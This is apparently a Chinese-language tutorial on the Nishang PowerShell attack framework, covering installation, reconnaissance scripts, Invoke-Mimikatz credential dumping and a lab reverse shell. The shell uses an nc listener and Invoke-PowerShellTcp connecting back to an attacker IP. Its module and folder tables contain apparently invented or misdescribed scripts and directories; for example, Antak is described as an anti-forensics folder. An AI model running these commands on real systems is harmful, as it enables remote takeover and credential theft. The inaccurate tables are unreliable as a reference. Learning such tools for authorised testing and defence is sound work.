Nishang PowerShell工具:原理详解+使用方法+渗透实战
目录
一、Nishang工具简介
1、功能模块
2、模块脚本
二、安装方法
1、下载方法
2、目录结构
3、使用方法
(1)报错1解决方法
(2)报错2解决方法
三、使用示例
1、Get-Command -Module nishang
2、Get-Information
3、Check-VM
4、Invoke-Mimikatz
四、反弹Shell渗透实战
1、攻击机 (Kali) 上监听:
2、目标机 (Windows) 上执行:
3、反弹shell连接成功
4、总结分析
Nishang是一款基于PowerShell的渗透测试框架,提供从信息收集到权限维持的全流程攻击工具集。其核心功能包括漏洞利用、权限提升、横向移动、数据渗出等模块,覆盖渗透测试完整生命周期。工本文讲解其原理、安装和使用方法,并通过多个示例讲解应用实例,通过反弹shell进行渗透实战。
一、Nishang工具简介
Nishang 是一个基于 PowerShell 的渗透测试框架和工具集合,专为红队操作、渗透测试和** offensive security** 而设计。其名称在印地语(Hindi)中意为“乐趣”或“恶作剧”,这恰如其分地体现了它的用途——让安全测试过程更高效(甚至有趣)。
1、功能模块
Nishang 的功能覆盖了渗透测试的整个生命周期,从初始信息收集到最终的权限维持。其功能模块可以概括为以下几个核心阶段:
2、模块脚本
Nishang 框架按功能划分为多个核心模块,主要包括信息收集(Gather)、漏洞利用与权限提升(Exploits & Privesc)、持久化控制(Persistence)、横向移动(Lateral Movement)、数据渗出与通信(Exfiltration & Communication)等,此外还有编码工具、哈希提取等辅助模块,各模块专注于渗透测试不同阶段的需求,通过模块化设计实现功能的灵活调用与组合,覆盖从初始接入到长期控制的全流程攻击场景,其代表性脚本与功能描述如下表所示。
模块类别 | 代表性脚本 | 功能描述 |
---|---|---|
信息收集 (Gather) | Get-Information | 收集目标系统详细信息,包括操作系统版本、补丁、用户列表、进程、服务等。 |
Get-WLANKey | 提取本地保存的所有 Wi-Fi 网络名称及密码(需管理员权限)。 | |
Get-BrowserData | 从 IE、Chrome、Firefox 等浏览器中获取保存的密码、历史记录、书签等数据。 | |
Get-Keystrokes | 记录目标系统的键盘输入(键盘记录器),获取敏感信息如账号密码。 | |
漏洞利用与权限提升 (Exploits & Privesc) | Invoke-MS17010 | 利用永恒之蓝(MS17-010)漏洞,对远程主机执行代码注入,获取 Shell。 |
PowerUp (集成模块) | 检测并利用服务权限配置错误、注册表漏洞、可写服务等实现本地权限提升。 | |
Invoke-Shellcode | 将生成的 shellcode 注入进程,实现漏洞利用后的代码执行(如结合缓冲区溢出)。 | |
持久化控制 (Persistence) | New-RegistryPersistence | 在注册表启动项中植入 PowerShell 脚本,实现开机自启后门。 |
Add-ScheduledTask | 创建计划任务,定期执行指定脚本或命令,维持长期控制。 | |
New-User | 创建隐藏管理员用户,作为持久化访问通道(如添加到管理员组)。 | |
横向移动 (Lateral Movement) | Invoke-PsExec | 模拟 PsExec 功能,通过 SMB 协议在远程主机执行命令或启动服务。 |
Invoke-WMICommand | 利用 WMI 服务远程执行 PowerShell 命令,无需直接登录目标主机。 | |
Invoke-Command | 通过 PowerShell Remoting(WinRM)在远程主机建立会话并执行命令。 | |
数据渗出与通信(Exfiltration & Communication) | Out-FileExfil | 将文件内容分割为小块,通过 HTTP/HTTPS 协议发送到远程服务器(数据渗出)。 |
Invoke-PowerShellTcp | 创建反向 TCP Shell,目标主机主动连接攻击机,支持加密通信(-SSL 参数)。 | |
Invoke-DNSExfiltration | 利用 DNS 查询隧道传输数据,将文件内容编码为 DNS 域名,绕过常规网络监控。 | |
其他辅助工具 | Encode-Script | 对 PowerShell 脚本进行 Base64 编码,规避基于特征码的检测(免杀辅助)。 |
Get-PassHashes | 提取本地系统中的用户密码哈希(如 NTLM 哈希),用于离线破解或 Pass-the-Hash 攻击。 |
二、安装方法
1、下载方法
下载如下githbug库,点击右上角 Code
按钮,选择 Download ZIP
,解压到本地目录,如下所示。
https://github.com/samratashok/nishang.git
解压后目录内容如下所示,注意nishang.psm1是最关键文件, Nishang 的 PowerShell 模块文件。
2、目录结构
如上图所示,目录中共有16个子文件夹,每个子目录都针对一个特定的攻击阶段或技术,允许渗透测试人员根据需要进行灵活选择和组合,具体如下表所示。
文件夹 | 核心功能描述 | 典型脚本示例 |
---|---|---|
Gather | 信息收集模块,获取目标系统各类敏感信息与环境数据。 | Get-Information.ps1 (系统信息)、Get-WLANKey.ps1 (Wi-Fi 密码) |
Exploits | 漏洞利用模块,针对系统或应用漏洞的远程代码执行脚本。 | Invoke-MS17010.ps1 (永恒之蓝利用)、Invoke-JavaRCE.ps1 (Java 漏洞) |
Privesc | 权限提升模块,检测并利用本地配置缺陷提升权限。 | PowerUp.ps1 (权限漏洞检测)、Invoke-ServiceAbuse.ps1 (服务权限滥用) |
Persistence | 持久化模块,通过系统配置实现长期驻留控制。 | New-RegistryPersistence.ps1 (注册表后门)、Add-ScheduledTask.ps1 (计划任务) |
Lateral Movement | 横向移动模块,支持内网跨主机远程控制。 | Invoke-PsExec.ps1 (SMB 远程执行)、Invoke-WMICommand.ps1 (WMI 远程命令) |
Exfiltration | 数据渗出模块,将窃取数据传输至控制端。 | Out-WebRequestExfil.ps1 (HTTP 渗出)、Invoke-DNSExfiltration.ps1 (DNS 隧道) |
Shells | Shell 生成模块,提供各类交互式 Shell 通信脚本。 | Invoke-PowerShellTcp.ps1 (TCP 反向 Shell)、Invoke-PowerShellUdp.ps1 (UDP Shell) |
Misc | 杂项辅助模块,包含编码、环境检测等工具。 | Encode-Script.ps1 (脚本编码)、Get-PSVersion.ps1 (PowerShell 版本检测) |
Antak | 反取证模块,清除操作痕迹以规避溯源。 | Clear-EventLogs.ps1 (清除事件日志)、Remove-PSHistory.ps1 (删除命令历史) |
Backdoors | 后门模块,植入隐蔽的长期访问通道。 | New-BackdoorUser.ps1 (隐藏管理员用户)、Invoke-PersistentBackdoor.ps1 (持久化后门) |
Bypass | 绕过防御模块,规避杀毒软件、应用白名单等限制。 | Invoke-Obfuscation.ps1 (脚本混淆)、Bypass-AMSI.ps1 (绕过 AMSI 检测) |
Payloads | 攻击载荷模块,生成可执行的恶意代码片段。 | Create-Payload.ps1 (自定义 Payload 生成)、Invoke-Shellcode.ps1 (Shellcode 注入) |
Scanner | 扫描模块,探测内网资产、漏洞或服务。 | Invoke-PortScan.ps1 (端口扫描)、Get-LocalAdmin.ps1 (本地管理员探测) |
TokenManipulation | 令牌操作模块,利用 Windows 令牌实现权限伪造与提升。 | Invoke-TokenManipulation.ps1 (令牌窃取)、Get-LoggedOnUsers.ps1 (获取登录用户令牌) |
Web | Web 攻击模块,针对 Web 应用的漏洞利用脚本。 | Invoke-WebShell.ps1 (WebShell 管理)、Get-WebCredentials.ps1 (提取 Web 账号) |
WSMan | WinRM 模块,基于 WS-Management 协议的远程管理脚本。 | Invoke-WSManCommand.ps1 (WinRM 远程执行)、New-WSManSession.ps1 (建立 WinRM 会话) |
3、使用方法
在 PowerShell 中,首先需要导入 Nishang 模块,具体命令如下所示。
Import-Module .\nishang.psm1
(1)报错1解决方法
我的本机环境提示无法运行脚本“Add-ConstrainedDelegationBackdoor.ps1”,这是因为缺少脚本的“#requires”语句指定的以下模块: ActiveDirectory。我的电脑没有安装并导入 ActiveDirectory
模块。这个模块通常只存在于:
-
域控制器 (Domain Controller) 上。
-
安装了 RSAT (Remote Server Administration Tools) 的 域成员服务器 或 Windows 10/11 专业版/企业版 电脑上。
这个错误只是一个警告,它并不会阻止你导入和使用 Nishang 的其他 99% 的功能。直接忽略这个红色的错误信息,继续你的测试即可。
(2)报错2解决方法
当我把Nishang工具放到虚拟机中后,执行模块加载时报错如下所示,这个错误是因为 PowerShell 的执行策略(Execution Policy)阻止了运行未签名的脚本。Nishang 脚本没有数字签名,所以被系统拒绝了。
解决方法是执行Set-ExecutionPolicy RemoteSigned
命令,这是 PowerShell 中用于配置脚本执行权限的命令,其作用是允许运行本地签名脚本和远程已签名脚本,具体规则为:本地创建的脚本无需签名即可运行,从网络下载的脚本必须经过数字签名才能执行。
Set-ExecutionPolicy RemoteSigned
这条命令能直接解决你遇到的 “禁止执行脚本” 错误,原因如下:PowerShell 默认执行策略为 Restricted
(禁止运行任何脚本),当你尝试导入 nishang.psm1
时,系统会因安全策略阻止未签名脚本运行,从而抛出 PSSecurityException
。执行 Set-ExecutionPolicy RemoteSigned
后,策略被放宽:本地保存的 nishang.psm1
属于 “本地脚本”,无需签名即可被导入,因此能成功加载 Nishang 模块。具体如下图所示。
再次运行Import-Module .\nishang.psm1即可正常执行。
三、使用示例
1、Get-Command -Module nishang
用于列出已导入的 nishang
模块中所有可用的命令(包括脚本、函数等)。执行后,会显示 Nishang 框架中各模块提供的功能列表(如 Get-Information
、Invoke-PowerShellTcp
等),帮助用户快速了解当前可调用的渗透测试工具及脚本,方便根据需求选择相应功能进行操作。
Get-Command -Module nishang
2、Get-Information
Get-Information
是 Nishang 框架中 Gather
模块下的核心信息收集脚本,主要用于全面提取目标 Windows 系统的基础信息和环境数据,为渗透测试的信息收集阶段提供关键参考。
Get-Information
其执行后会自动收集并输出多维度信息,包括但不限于:操作系统版本、补丁级别、系统架构、主机名与域名;当前登录用户、本地用户列表及用户组信息;运行中的进程、服务及启动项;网络配置(IP 地址、子网掩码、网关、DNS 服务器)、活跃网络连接及开放端口;已安装的软件、系统驱动;注册表中的关键配置(如远程桌面设置、防火墙规则)等。
这些信息能帮助测试者快速掌握目标系统的基本情况,判断系统漏洞潜在风险(如未打补丁的版本)、定位敏感用户或服务、规划后续渗透路径(如利用开放端口进行横向移动),是内网渗透初期信息摸排的重要工具。执行时需注意,部分敏感信息(如用户组详情)可能需要管理员权限才能完整获取。
3、Check-VM
Check-VM
是 Nishang 框架中用于检测当前系统是否运行在虚拟机(VM)环境中的脚本,通过检查系统硬件信息(如主板型号、BIOS 信息、虚拟设备驱动)、注册表项(如 VMware、VirtualBox 相关键值)及进程特征(如虚拟机工具进程)等,判断系统是否处于虚拟化环境(如 VMware、VirtualBox、Hyper-V 等),帮助渗透测试者识别目标主机的运行环境,为后续调整攻击策略(如规避虚拟机检测机制)提供依据。
Check-VM
如下所示,我在windows server2008虚拟机中运行后,提示是一台虚拟机,这是正确的。
4、Invoke-Mimikatz
Invoke-Mimikatz是 Nishang 框架中集成的一款功能强大的凭证提取工具,基于著名的 Mimikatz 工具开发,主要用于从 Windows 系统内存中提取各类敏感凭证,包括用户明文密码、NTLM 哈希、Kerberos 票据等。它通过调用系统 API 访问内存中的安全信息,能绕过常规的密码保护机制,在渗透测试中常用于获取已登录用户的凭证,为横向移动(如 Pass-the-Hash 攻击)或权限提升提供关键凭据,是内网渗透中获取凭证的核心工具之一,但需管理员权限才能充分发挥其功能。
Invoke-Mimikatz
四、反弹Shell渗透实战
1、攻击机 (Kali) 上监听:
在本地主机的 4444 端口启动一个 TCP 监听器,命令执行后,当前终端将处于挂起状态,持续等待传入的 TCP 连接。一旦有客户端(例如受控主机)成功连接,该监听器会立即建立一个原始的网络通信通道。此通道通常用于接收反向 Shell、实现文件传输或执行基础网络调试等操作。完整命令如下所示。
nc -nvlp 4444
其参数含义如下:
-
-n
:禁用域名解析,强制仅使用 IP 地址进行连接,加快响应速度; -
-v
:启用详细输出模式,实时显示连接状态与交互信息; -
-l
:进入监听模式,使当前终端作为服务器运行; -
-p 4444
:明确指定监听的端口号为 4444。
2、目标机 (Windows) 上执行:
当前主机与 Kali攻击机(IP 地址为 192.168.59.128)
的 4444
端口建立一个反向 TCP 连接,并在成功连接后提供一个 PowerShell 会话。完整命令如下所示。
# 导入脚本后
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.59.128 -Port 4444
-
Invoke-PowerShellTcp
:
这是 Nishang 工具集中的一个 PowerShell 函数(脚本),专门用于通过 TCP 协议建立一种称为 "PowerShell Shell" 的交互式命令行连接。 -
-Reverse
:
这是最关键的一个参数。它指定了连接的方向是 “反向” 。-
反向 Shell (Reverse Shell): 意味着由目标机器(被控制者)主动发起连接到攻击者(控制者) 的监听端口。
-
与之相对的是
-Bind
,即绑定 Shell (Bind Shell),是攻击者主动连接目标机器开放的端口。
-
-
-IPAddress 192.168.59.128
:
这个参数告诉脚本:“你要反向连接到哪里去?”。在这里,它指定了连接的目标 IP 地址是192.168.59.128
。这通常是攻击者(控制端)机器的 IP 地址。 -
-Port 4444
:
这个参数与-IPAddress
结合使用,指定了连接的目标端口是4444
。这意味着被控制的主机将尝试连接到192.168.59.128
的4444
号端口。
3、反弹shell连接成功
如下所示此时连接成功,但是在kali中执行命令时会有乱码现象,比如输入ipconfig打印如下所示,出现多个问号,乱码的根源是内容编码与控制台解码方式不一致。
chcp 65001 是 Windows 命令提示符(CMD)中的编码切换命令,作用是将当前控制台的活动代码页设置为 UTF-8 编码(代码页 65001 对应 UTF-8 标准)。执行后,控制台可正确显示或输入包含中文、日文、特殊符号等的 Unicode 字符,解决默认编码(如 GBK,代码页 936)下的字符乱码问题。
chcp 65001
4、总结分析
如下流程图清晰地展示了“反向Shell”的核心特征:由被控端主动连接控制端。这种方式通常用于绕过防火墙的入站规则限制(因为大多数防火墙允许内部主机自由地向外部发起连接),是渗透测试中非常经典的技术。
-
准备阶段 (Setup):
-
攻击者在自己的机器(
192.168.59.128
)上打开终端,启动 Netcat 监听器,在4444
端口等待传入的连接。此时,Netcat 处于阻塞状态,等待连接。
-
-
执行阶段 (Execution):
-
通过某种方式(如漏洞利用、钓鱼邮件、已有的WebShell等),攻击者让目标机器执行了
Invoke-PowerShellTcp
命令。-Reverse
参数指明了连接方向。
-
-
连接阶段 (Connection):
-
目标机上的 PowerShell 脚本作为客户端,根据命令中的参数,主动向攻击者的IP
192.168.59.128
和端口4444
发起一个 TCP 连接。 -
攻击者机器上的 Netcat 监听器接收到这个连接,双方握手成功,建立了一条可靠的TCP通道。
-
-
交互阶段 (Interaction):
-
连接建立后,
Invoke-PowerShellTcp
脚本的核心功能开始工作:它将目标机上的 PowerShell 进程的输入、输出和错误流,全部重定向到这条刚刚建立的网络连接上。 -
于是,攻击者在自己的 Netcat 终端中输入的每一个命令,都会发送到目标机上执行;而目标机上执行命令的结果,也会通过网络传回攻击者的终端。
-
这样就形成了一个完整的交互式远程Shell。攻击者获得了对目标机的命令行控制权,可以执行任何PowerShell命令,就像在本地操作一样。
-